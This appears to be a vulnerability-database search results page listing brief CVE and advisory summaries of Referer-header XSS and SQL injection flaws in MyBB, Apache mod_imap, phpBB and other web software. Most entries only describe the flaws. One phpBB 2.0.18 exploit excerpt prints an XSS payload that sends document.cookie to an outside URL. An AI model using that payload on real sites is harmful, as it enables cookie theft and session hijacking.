2266 matches found
CVE-2006-0495
The CVE-2006-0495 entry concerns MyBB (MyBulletinBoard) 1.02. A Cross‑Site Scripting (XSS) flaw exists in the Add Thread to Favorites feature implemented in usercp2.php, exploitable via an HTTP Referer header (the $url variable). This allows remote attackers to inject arbitrary web script or HTML...
CVE-2006-0495
Cross-site scripting XSS vulnerability in the Add Thread to Favorites feature in usercp2.php in MyBB aka MyBulletinBoard 1.02 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer header $url variable...
CVE-2006-0495: Undefined Security Weakness
Cross-site scripting XSS vulnerability in the Add Thread to Favorites feature in usercp2.php in MyBB aka MyBulletinBoard 1.02 allows remote attackers to inject arbitrary web script or HTML via an HTTP Referer header $url variable...
ExpressionEngine-1.4.1.txt
New eVuln Advisory: ExpressionEngine 'Referer' XSS Vulnerability http://evuln.com/vulns/48/summary.html --------------------Summary---------------- Software: ExpressionEngine Sowtware's Web Site: http://www.pmachine.com Versions: 1.4.1 Critical Level: Moderate Type: Cross-Site Scripting Class:...
[eVuln] ExpressionEngine 'Referer' XSS Vulnerability
New eVuln Advisory: ExpressionEngine 'Referer' XSS Vulnerability http://evuln.com/vulns/48/summary.html --------------------Summary---------------- Software: ExpressionEngine Sowtware's Web Site: http://www.pmachine.com Versions: 1.4.1 Critical Level: Moderate Type: Cross-Site Scripting Class:...
PHP-Nuke News Submission Story - Text Field Cross-Site Scripting
PHP-Nuke News Submission Story - Text Field Cross-Site Scripting source: https://www.securityfocus.com/bid/16192/info The PHPNuke Pool and News Modules are prone to an HTML injection vulnerability. This issue is due to a failure in the application modules to properly sanitize user-supplied input...
httpd cross-site scripting flaw in mod_imap
Cross-site scripting XSS vulnerability in the modimap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps...
CVE-2005-4711
SQL injection vulnerability in Neocrome Land Down Under LDU 801 allows remote attackers to execute arbitrary SQL commands via an HTTP Referer header. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
phpBB 2.0.18 - Cross-Site Scripting / Cookie Disclosure
/ phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...
httpd cross-site scripting flaw in mod_imap
Cross-site scripting XSS vulnerability in the modimap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps...
Apache mod_imap crossite scripting
Referer crossite scripting...
CVE-2005-3352
Cross-site scripting XSS vulnerability in the modimap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps...
DEBIAN-CVE-2005-3352
Cross-site scripting XSS vulnerability in the modimap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps...
CVE-2005-3352: Improper Neutralization of Input During Web Page Generation
Cross-site scripting XSS vulnerability in the modimap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps...
JVN#15243167 Problem with referer header handling on mobile phone web browsers
Impact Referer information may be unintendedly sent to a server under certain operating conditions. Solution Products Affected For more information, refer to the vendors' websites...
CVE-2005-4015
CVE-2005-4015 affects PHP Web Statistik 1.4. The issue is that the log database is not rotated and the referer field size is not limited, enabling a remote attacker to exhaust log files by issuing a very high number of HTTP requests (demonstrated via pixel.php). The available references describe ...
CVE-2005-4012
Multiple cross-site scripting XSS vulnerabilities in PHP Web Statistik 1.4 allows remote attackers to inject arbitrary web script or HTML via 1 the lastnumber parameter to stat.php and 2 the HTTP referer to pixel.php...
CVE-2005-3931
SQL injection vulnerability in default.asp in ASP-Rider 1.6 allows remote attackers to execute arbitrary SQL commands via the HTTP referer...
CVE-2005-3931
CVE-2005-3931 : A SQL injection flaw exists in default.asp of ASP-Rider 1.6 , allowing remote attackers to inject arbitrary SQL commands via the HTTP Referer. The vulnerability targets the input handling in that page/file, enabling unauthorized data access or manipulation as described in the publ...